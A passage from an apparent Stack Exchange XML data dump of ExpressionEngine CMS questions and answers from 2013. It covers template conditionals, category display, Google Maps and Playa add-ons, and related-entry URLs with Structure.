src=&quot;https://i.stack.imgur.com/47x22.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm new to EE; can anyone tell me what this means? (I realize it's just a warning, not a fatal error, but we're trying to clean up our code and don't want to do anything that throws warnings.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;ETA&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[06-May-2013 11:07:47] PHP Parse error:  syntax error, unexpected T_STRING in C:\gitRepo\qo5phi\system\expressionengine\libraries\Functions.php(680) : eval()'d code on line 194&#xA;[06-May-2013 11:07:47] PHP Stack trace:&#xA;[06-May-2013 11:07:47] PHP   1. {main}() C:\gitRepo\qo5phi\index.php:0&#xA;[06-May-2013 11:07:47] PHP   2. require_once() C:\gitRepo\qo5phi\index.php:188&#xA;[06-May-2013 11:07:47] PHP   3. call_user_func_array() C:\gitRepo\qo5phi\system\codeigniter\system\core\CodeIgniter.php:311&#xA;[06-May-2013 11:07:47] PHP   4. EE-&amp;gt;index() C:\gitRepo\qo5phi\system\codeigniter\system\core\CodeIgniter.php:311&#xA;[06-May-2013 11:07:47] PHP   5. EE_Core-&amp;gt;generate_page() C:\gitRepo\qo5phi\system\expressionengine\controllers\ee.php:68&#xA;[06-May-2013 11:07:47] PHP   6. EE_Template-&amp;gt;run_template_engine() C:\gitRepo\qo5phi\system\expressionengine\libraries\Core.php:643&#xA;[06-May-2013 11:07:47] PHP   7. EE_Template-&amp;gt;fetch_and_parse() C:\gitRepo\qo5phi\system\expressionengine\libraries\Template.php:179&#xA;[06-May-2013 11:07:47] PHP   8. EE_Template-&amp;gt;parse() C:\gitRepo\qo5phi\system\expressionengine\libraries\Template.php:231&#xA;[06-May-2013 11:07:47] PHP   9. EE_Template-&amp;gt;advanced_conditionals() C:\gitRepo\qo5phi\system\expressionengine\libraries\Template.php:488&#xA;[06-May-2013 11:07:47] PHP  10. EE_Template-&amp;gt;parse_template_php() C:\gitRepo\qo5phi\system\expressionengine\libraries\Template.php:3153&#xA;[06-May-2013 11:07:47] PHP  11. EE_Functions-&amp;gt;evaluate() C:\gitRepo\qo5phi\system\expressionengine\libraries\Template.php:1579&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1008" LastEditorUserId="1008" LastEditDate="2013-05-08T15:47:10.237" LastActivityDate="2013-11-05T03:59:26.940" Title="Invalid EE conditional variable error - UPDATED" Tags="|conditionals|variable|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="10093" PostTypeId="2" ParentId="10092" CreationDate="2013-05-06T16:01:22.047" Score="1" Body="&lt;p&gt;You should use quotes with variable in condition to match string like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;td class=&quot;productPrice&quot;&amp;gt;&#xA;    ${deal_total}&amp;lt;br /&amp;gt;&#xA;    {if &quot;{deal_original_price}&quot; != &quot;&quot;}&#xA;        &amp;lt;span class=&quot;originalDealPrice&quot;&amp;gt;&#xA;            ${deal_original_price}&#xA;        &amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;&#xA;        &amp;lt;span class=&quot;removeItem&quot;&amp;gt;&amp;lt;/span&amp;gt;&#xA;    {/if}&#xA;&amp;lt;/td&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="872" LastEditorUserId="28" LastEditDate="2013-11-04T17:06:53.923" LastActivityDate="2013-11-04T17:06:53.923" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10094" PostTypeId="1" CreationDate="2013-05-06T16:23:21.717" Score="0" ViewCount="119" Body="&lt;p&gt;I have this code. All seems fine but the categories info won't output between my H4 tags. Not sure what I am missing here but I think it has something to do with the 'related categories mode' parameter. Any help would be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;work&quot; limit=&quot;20&quot; status=&quot;New|Open&quot; related_categories_mode=&quot;yes&quot; custom_fields=&quot;yes&quot;}&#xA;        {if no_results}&#xA;            &amp;lt;p class=&quot;alert&quot;&amp;gt;There are no related projects.&amp;lt;/p&amp;gt;&#xA;        {/if}&#xA;        &amp;lt;li&amp;gt;&#xA;            &amp;lt;a href=&quot;{title_permalink=&quot;work/view&quot;}&quot; title=&quot;{title}&quot;&amp;gt;&amp;lt;img src=&quot;{project_th}&quot; alt=&quot;{title}&quot; /&amp;gt;{if status == &quot;New&quot;}&amp;lt;img src=&quot;/_/img/new-work.png&quot; class=&quot;new&quot; alt=&quot;NEW Project - {title}&quot; /&amp;gt;{/if}&amp;lt;/a&amp;gt;&#xA;            &amp;lt;h3&amp;gt;&amp;lt;a href=&quot;{title_permalink=&quot;work/view&quot;}&quot; title=&quot;&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&#xA;            &amp;lt;h4&amp;gt;{categories backspace=&quot;2&quot;}&amp;lt;a href=&quot;{path=&quot;work&quot;}&quot; title=&quot;&quot;&amp;gt;{category_name}&amp;lt;/a&amp;gt; / {/categories}&amp;lt;/h4&amp;gt;&#xA;            &amp;lt;p&amp;gt;{project_excerpt}&amp;lt;/p&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;        {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1068" LastActivityDate="2013-05-06T17:07:01.007" Title="Related Category Issue" Tags="|categories|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10095" PostTypeId="2" ParentId="10094" CreationDate="2013-05-06T16:40:12.043" Score="1" Body="&lt;p&gt;According to the User Guide &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#related-categories-mode&quot; rel=&quot;nofollow&quot;&gt;1&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;Relationships, Reverse Relationships, Pagination, and Categories are&#xA;  not available when Related Category Mode is enabled.&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="651" LastActivityDate="2013-05-06T16:40:12.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10096" PostTypeId="1" CreationDate="2013-05-06T16:45:07.017" Score="0" ViewCount="37" Body="&lt;p&gt;I'm looking for a way to combine/group channel fields plus the ability to&#xA;add another punch/block of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know you can group fields in tabs but i need something like the plus in Matrix&#xA;where you can add a new row.&lt;/p&gt;&#xA;" OwnerUserId="1360" LastActivityDate="2013-05-06T16:45:07.017" Title="Group/Combine fields in backend and add another block?" Tags="|fields|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10097" PostTypeId="1" CreationDate="2013-05-06T17:06:22.817" Score="1" ViewCount="59" Body="&lt;p&gt;I am trying to get one map to be shown that is actually a channel field, using Google Maps For ExpressionEngine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What i have done:&#xA;1- created a channel called &quot;retkeilykohteet&quot;&#xA;2- set own statusgroup and assigned to it.&#xA;3- set own channel fieldgroup with only one field in it, called &quot;retkeilykartta&quot; (it is a Google Maps For ExpressionEngine-field).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then i created new entry, and i actually need only one entry for this channel, as per i just edit the entry when i want to add more markers into the map. So in my entry, i created 4 markers to map, set zoom etc, and it looked ok because of the live-preview that renders the map while making the entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then i put this code into my template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:gmap:init id=&quot;map&quot; scrollwheel=&quot;false&quot; class=&quot;gmap&quot; language=&quot;fi&quot; style=&quot;100%;height:300px&quot; map_type=&quot;google.maps.MapTypeId.TERRAIN&quot;}&#xA;&#xA;{exp:channel:entries channel=&quot;retkeilykohteet&quot; limit=&quot;1&quot; disable=&quot;member_data|pagination|categories|category_fields&quot;}&#xA;&#xA;    {exp:gmap:marker id=&quot;map&quot; latitude=&quot;{retkeilykartta_latitude}&quot; longitude=&quot;{retkeilykartta_longitude}&quot; geocode=&quot;false&quot; clustering=&quot;true&quot;}&#xA;&#xA;        {title}&#xA;&#xA;    {/exp:gmap:marker}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get only blue map canvas. Any help what is missing from my code so that i get the field &quot;retkeilykartta&quot; shown as it is, a map?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks.&#xA;Using EE2.5.5&lt;/p&gt;&#xA;" OwnerUserId="1242" LastActivityDate="2013-05-06T17:06:22.817" Title="Cant get the map shown from channel entry" Tags="|add-on|google-maps-for-ee|google-maps|v2.5.5|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10098" PostTypeId="2" ParentId="10094" CreationDate="2013-05-06T17:07:01.007" Score="0" Body="&lt;p&gt;It's quite yucky and requires &lt;em&gt;a lot&lt;/em&gt; of parsing, but you may be able to do this by nesting an embedded template with a second channel entries loop inside the first:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries &#xA;    channel='work' &#xA;    limit='20' &#xA;    status='New|Open' &#xA;    related_categories_mode='yes' &#xA;    disable='pagination|member_data|custom_fields'&#xA;}&#xA;    {if no_results}&#xA;        &amp;lt;p class=&quot;alert&quot;&amp;gt;There are no related projects.&amp;lt;/p&amp;gt;&#xA;    {/if}&#xA;&#xA;    {embed='work/related_entries' entry_id='{entry_id}'}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the embedded template (&lt;code&gt;work/related_entries&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries &#xA;    channel='work' &#xA;    entry_id='{embed:entry_id}'&#xA;    status='New|Open' &#xA;    disable='pagination|member_data'&#xA;}&#xA;    &amp;lt;li&amp;gt;&#xA;        &amp;lt;a href=&quot;{title_permalink='work/view'}&quot; title=&quot;{title}&quot;&amp;gt;&#xA;            &amp;lt;img src=&quot;{project_th}&quot; alt=&quot;{title}&quot; /&amp;gt;&#xA;            {if status == &quot;New&quot;}&#xA;                &amp;lt;img src=&quot;/_/img/new-work.png&quot; class=&quot;new&quot; alt=&quot;NEW Project - {title}&quot; /&amp;gt;&#xA;            {/if}&#xA;        &amp;lt;/a&amp;gt;&#xA;        &amp;lt;h3&amp;gt;&amp;lt;a href=&quot;{title_permalink='work/view'}&quot; title=&quot;&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&#xA;        &amp;lt;h4&amp;gt;{categories backspace='2'}&amp;lt;a href=&quot;{path='work'}&quot; title=&quot;&quot;&amp;gt;{category_name}&amp;lt;/a&amp;gt; / {/categories}&amp;lt;/h4&amp;gt;&#xA;        &amp;lt;p&amp;gt;{project_excerpt}&amp;lt;/p&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The key here is the &lt;code&gt;entry_id&lt;/code&gt; variable which is passed from the first channel entries loop to the second.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't tested this, but I think it should work.&lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2013-05-06T17:07:01.007" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10099" PostTypeId="2" ParentId="10045" CreationDate="2013-05-06T17:26:39.557" Score="1" Body="&lt;p&gt;Ok! I think I've figured things out here. I tried adding a new row and uploaded a new photo and now all seems to be fine. I just have to re-upload those images, for some reason. Fortunately, it's not many.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you all for your help troubleshooting, I really appreciate it! :)&lt;/p&gt;&#xA;" OwnerUserId="1220" LastActivityDate="2013-05-06T17:26:39.557" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10100" PostTypeId="1" AcceptedAnswerId="10305" CreationDate="2013-05-06T18:26:47.640" Score="2" ViewCount="402" Body="&lt;p&gt;Has anyone looked into merging several pre-2.6 relationship fields into a 2.6+ multiple relationship field? For example, if I have a book store where each book can have multiple authors and currently have &lt;code&gt;book_author&lt;/code&gt;, &lt;code&gt;book_author2&lt;/code&gt;, and &lt;code&gt;book_author3&lt;/code&gt;. This is clearly ugly and horrible, so I would like to just have &lt;code&gt;book_authors&lt;/code&gt;, which would contain the related authors from any of the original three fields that was set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sure it could be done with enough SQL magicry, but I'm hoping someone has already figured out a good system for it.&lt;/p&gt;&#xA;" OwnerUserId="93" LastEditorUserId="182" LastEditDate="2013-05-12T08:59:46.143" LastActivityDate="2013-05-13T02:15:36.393" Title="Merge multiple relationship fields into a single multi-relationship field" Tags="|custom-fields|relationships|upgrade|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10101" PostTypeId="1" CreationDate="2013-05-06T19:28:35.390" Score="0" ViewCount="31" Body="&lt;p&gt;I get this error (see attached) when trying to access the 'Modules Panel'. Has anyone got any idea why this is happening?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/znoxa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YUWMn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1068" LastActivityDate="2013-05-06T19:28:35.390" Title="Error trying to access Modules" Tags="|control-panel|module|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10102" PostTypeId="1" AcceptedAnswerId="10116" CreationDate="2013-05-06T19:42:34.023" Score="0" ViewCount="1213" Body="&lt;p&gt;I am trying to display the parent category as a heading and then display the children with links to a template that will display the entries form the child category.  This is where I have started and I cannot get the children to display based on the dynamic segment 5 even using low's seg to cat.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:channel:categories channel=&quot;work&quot; show_empty=&quot;yes&quot; style=&quot;linear&quot; parent_only=&quot;no&quot; show=&quot;{last_segment_category_id}&quot;}&#xA;&#xA;PARENT CATEGORY as a heading. &#xA;&#xA;&amp;lt;a href=&quot;{path='portfolio/page'}&quot;&amp;gt;Child Category &amp;lt;img src=&quot;{category_image}&quot; border=&quot;0&quot;/&amp;gt;&amp;lt;/a&amp;gt;&#xA;    &amp;lt;br style=&quot;clear:both;&quot; /&amp;gt;&#xA;&#xA;&#xA;             &amp;lt;a href=&quot;{path='portfolio/page'}&quot;&amp;gt;Child {category_name}&amp;lt;/a&amp;gt;&#xA;&amp;lt;br style=&quot;clear:both;&quot; /&amp;gt;    &amp;lt;br style=&quot;clear:both;&quot; /&amp;gt;&amp;lt;br style=&quot;clear:both;&quot; /&amp;gt;&amp;lt;br style=&quot;clear:both;&quot; /&amp;gt;&#xA;        {/exp:channel:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="451" LastActivityDate="2013-05-07T10:41:25.333" Title="how to show parent and children categories" Tags="|categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10103" PostTypeId="1" AcceptedAnswerId="12233" CreationDate="2013-05-06T20:49:40.517" Score="1" ViewCount="177" Body="&lt;p&gt;I just upgraded to 2.6 and everything seemed to go ok until i found a piece of the template code on the site.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{related_entries id=&quot;task_lead&quot;}{/related_entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now when i go to the template code it shows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{related_entries id=&quot;task_lead&quot;}{staff_name}{/related_entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;notice the {staff_name} variable, which i think is kind of weird&lt;/p&gt;&#xA;" OwnerUserId="1388" LastActivityDate="2013-07-25T00:44:53.540" Title="Related Entries broken after upgrade to 2.6" Tags="|upgrade|related-entries|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10105" PostTypeId="1" AcceptedAnswerId="10465" CreationDate="2013-05-06T22:09:55.800" Score="0" ViewCount="50" Body="&lt;p&gt;very strange behaviour when using the rich text editor in a safecracker form on the frontsite.  Every works as expected except 2 buttons from the toolset: 'link' and 'quote'. When clicking these button, the safecracker form itself gets submitted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone?&#xA;rg,&#xA;Tim&lt;/p&gt;&#xA;" OwnerUserId="510" LastActivityDate="2013-05-16T19:56:42.350" Title="RTE in safecracker submits form when clicking 'link' or 'quotes'" Tags="|safecracker|richtext|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10106" PostTypeId="1" CreationDate="2013-05-06T23:10:57.790" Score="1" ViewCount="60" Body="&lt;p&gt;I have tried to install the Wygwam 2.7.1 add-on module to my existing EE. When I go to edit or publish content through a channel that hasthe Wygwam as a field... it just looks like a regular textbox and not the usual awesome Wygwam tools I'm used to seeing... any ideas? If I try to remove the field type so I can re-install, it will delete ALL of my data...&lt;/p&gt;&#xA;" OwnerUserId="1441" LastActivityDate="2013-06-06T19:34:40.407" Title="Wygwam for EE v2.5.2" Tags="|add-on|wygwam|pixelandtonic|wysiwyg|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10107" PostTypeId="2" ParentId="10100" CreationDate="2013-05-06T23:24:51.457" Score="-1" Body="&lt;p&gt;I think you would want to look at &lt;a href=&quot;http://devot-ee.com/add-ons/matrix&quot; rel=&quot;nofollow&quot;&gt;Matrix&lt;/a&gt; + &lt;a href=&quot;http://devot-ee.com/add-ons/playa&quot; rel=&quot;nofollow&quot;&gt;Playa&lt;/a&gt; add-ons. You could add a Matrix field book_authors where each row is a Playa field type related to the author channel entries. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or if each author is not a channel entry but instead more of a list, you could use &lt;a href=&quot;http://devot-ee.com/add-ons/low-variables&quot; rel=&quot;nofollow&quot;&gt;Low Variables&lt;/a&gt; field type as a multi-select field (of author info created in a LV variable group) in your Matrix rows.&lt;/p&gt;&#xA;" OwnerUserId="1326" LastEditorUserId="1326" LastEditDate="2013-05-06T23:48:12.493" LastActivityDate="2013-05-06T23:48:12.493" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10108" PostTypeId="1" CreationDate="2013-05-06T23:54:05.537" Score="1" ViewCount="190" Body="&lt;p&gt;Is there a way in Playa, or by hacking Playa, to select the previous or next sibling to the current entry? I can't find anything in the docs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally, something like this (assuming we use the existing P&amp;amp;T tag)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:playa:siblings entry_id=&quot;5&quot;}&#xA;&#xA;   {previous}&#xA;        &amp;lt;a href=&quot;{path=template/{url_title}}&quot;&amp;gt;&amp;lt; Previous&amp;lt;/a&amp;gt;&#xA;   {/previous}&#xA;&#xA;   {next}&#xA;        &amp;lt;a href=&quot;{path=template/{url_title}}&quot;&amp;gt;Next &amp;gt;&amp;lt;/a&amp;gt;&#xA;   {/next}&#xA;&#xA;{/exp:playa:siblings}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or as it's own tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:playa:prev_sibling entry_id=&quot;5&quot;}&#xA;        &amp;lt;a href=&quot;{path=template/{url_title}}&quot;&amp;gt;Previous &amp;gt;&amp;lt;/a&amp;gt;&#xA;{/exp:playa:prev_sibling}&#xA;&#xA;{exp:playa:next_sibling entry_id=&quot;5&quot;}&#xA;        &amp;lt;a href=&quot;{path=template/{url_title}}&quot;&amp;gt;Next &amp;gt;&amp;lt;/a&amp;gt;&#xA;{/exp:playa:next_sibling}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="948" LastActivityDate="2014-03-23T23:14:23.800" Title="Playa - Next / Previous Sibling" Tags="|playa|pixelandtonic|next-prev|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10109" PostTypeId="2" ParentId="10108" CreationDate="2013-05-07T04:53:53.960" Score="1" Body="&lt;p&gt;This add-on may be worth a try:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/advanced-prev-next-entry&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/advanced-prev-next-entry&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Version 1.2.0 added a tiny bit of Playa support. I'm not sure it will suit your needs or not though, take a look just the same; if you want.&lt;/p&gt;&#xA;" OwnerUserId="16" LastActivityDate="2013-05-07T04:53:53.960" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10111" PostTypeId="1" CreationDate="2013-05-07T08:26:07.607" Score="1" ViewCount="494" Body="&lt;p&gt;Is there a way of saying &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a category contains two selections, display this CSS&#xA;If a category contains one selection display this CSS instead. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't seem to find the right formula of {if} conditional with a category selection. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help much appreciated. &lt;/p&gt;&#xA;" OwnerUserId="1399" LastActivityDate="2013-05-14T23:58:31.417" Title="If conditional using category selections" Tags="|ifelse|categories|" AnswerCount="7" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10112" PostTypeId="2" ParentId="10111" CreationDate="2013-05-07T08:30:14.253" Score="2" Body="&lt;p&gt;add a count to the output maybe? Something like this might help: &lt;a href=&quot;https://github.com/erikreagan/er.entry_category_count.ee_addon&quot; rel=&quot;nofollow&quot;&gt;https://github.com/erikreagan/er.entry_category_count.ee_addon&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way you could append a class like 'count_1' etc to each category which is output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actually this might be more suitable as it's EE2.x compatible:&#xA;&lt;a href=&quot;http://devot-ee.com/add-ons/bw-category-count&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/bw-category-count&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="389" LastEditorUserId="389" LastEditDate="2013-05-07T08:35:30.147" LastActivityDate="2013-05-07T08:35:30.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10113" PostTypeId="2" ParentId="10111" CreationDate="2013-05-07T08:37:44.953" Score="1" Body="&lt;p&gt;Would you be be able to use an :nth-child pseudo class in your css?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://css-tricks.com/how-nth-child-works/&quot; rel=&quot;nofollow&quot;&gt;http://css-tricks.com/how-nth-child-works/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are using jquery it should work in ie&lt;/p&gt;&#xA;" OwnerUserId="95" LastActivityDate="2013-05-07T08:37:44.953" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10114" PostTypeId="2" ParentId="10111" CreationDate="2013-05-07T09:04:18.437" Score="1" Body="&lt;p&gt;Given the sponsorship example, you could fairly easily figure out how many &quot;active&quot; sponsors you have just using the &lt;code&gt;{exp:channel:entries}&lt;/code&gt; tag if all sponsors are in their own &lt;code&gt;sponsors&lt;/code&gt; channel for example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could then use the &lt;code&gt;{absolute_results}&lt;/code&gt; variable to get a number of the amount of sponsors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;  channel=&quot;sponsors&quot;&#xA;  disable=&quot;category_fields|member_data|pagination|trackbacks&quot;&#xA;  dynamic=&quot;off&quot;&#xA;}&#xA;&#xA;  {if &quot;{absolute_results}&quot; == &quot;1&quot;}&#xA;    {!-- Do something when 1 entry is shown from the &quot;sponsors&quot; channel. --}&#xA;  {/if}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Alternatively, if you must use categories, you can try the following which uses the &lt;a href=&quot;http://devot-ee.com/add-ons/category-count&quot; rel=&quot;nofollow&quot;&gt;Category Count&lt;/a&gt; plugin.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;  channel=&quot;sponsors&quot;&#xA;  disable=&quot;category_fields|member_data|pagination|trackbacks&quot;&#xA;  dynamic=&quot;off&quot;&#xA;}&#xA;&#xA;  {if &quot;{categories}{exp:catcount cat_id='{category_id}'}{/categories}&quot; == &quot;1&quot;}&#xA;    {!-- Do something when 1 entry is in the category. --}&#xA;  {/if}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You may also want to use &lt;a href=&quot;http://devot-ee.com/add-ons/switchee&quot; rel=&quot;nofollow&quot;&gt;Switchee&lt;/a&gt; to only parse the actual code of your template that will be used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given Switchee your code might look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;  channel=&quot;sponsors&quot;&#xA;  disable=&quot;category_fields|member_data|pagination|trackbacks&quot;&#xA;  dynamic=&quot;off&quot;&#xA;}&#xA;&#xA;  {exp:switchee variable=&quot;{absolute_results}&quot; parse=&quot;inward&quot;}&#xA;    {case value=&quot;1&quot;}&#xA;      {!-- Only gets evaluated by the template parser and rendered if the case is matched. --}&#xA;    {/case}&#xA;  {/exp:switchee}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="234" LastActivityDate="2013-05-07T09:04:18.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10115" PostTypeId="2" ParentId="10111" CreationDate="2013-05-07T09:37:07.400" Score="1" Body="&lt;p&gt;have you looked at &lt;a href=&quot;http://gwcode.com/add-ons/gwcode-categories/documentation&quot; rel=&quot;nofollow&quot;&gt;http://gwcode.com/add-ons/gwcode-categories/documentation&lt;/a&gt; - it has a parameter that grabs the categories an entry has - you should be able to manipulate category presentation using the plugins variables &lt;/p&gt;&#xA;" OwnerUserId="1029" LastActivityDate="2013-05-07T09:37:07.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10116" PostTypeId="2" ParentId="10102" CreationDate="2013-05-07T10:41:25.333" Score="2" Body="&lt;p&gt;The native categories tag pair's &quot;show&quot; parameter doesn't look recursively into the specified category - it's still a one-to-one filter, which would require you to pipe the child category IDs into it, even with the parents_only param set to no (that only works if you are dynamically displaying the full array of categories within a category group, for example). You should be able to do what you're looking to do though by using &lt;a href=&quot;http://devot-ee.com/add-ons/gwcode-categories&quot; rel=&quot;nofollow&quot;&gt;GWCode Categories&lt;/a&gt; in concert with Seg2Cat, since GWCode Categories will allow you to specify a start point in your category tree and look recursively inward, using Seg2Cat to target the segment identifying your start point and convert it to an ID, as you've aimed to do with the native tag pair.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-05-07T10:41:25.333" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10117" PostTypeId="1" CreationDate="2013-05-07T10:50:50.010" Score="1" ViewCount="148" Body="&lt;p&gt;I have two structure listings channels called blog and articles. The content can relate between the two channels.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I get the correct page url inside the related content tag? Structure's {page_url} doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the current code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:tagger:entries tag=&quot;{segment_2}&quot; custom_fields=&quot;article_content&quot; limit=&quot;10&quot; paginate=&quot;bottom&quot;}&#xA;&amp;lt;h3&amp;gt;&amp;lt;a href=&quot;{site_url}articles/{tagger:entry_url_title}&quot;&amp;gt;{tagger:entry_title}&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&#xA;{/exp:tagger:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Basically I want the articles part of the url to dynamically change to either articles or blog based on Structure's url hierarchy.&lt;/p&gt;&#xA;" OwnerUserId="687" LastActivityDate="2013-06-06T14:34:32.770" Title="Tagger Related Entries URLs With Structure" Tags="|structure|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
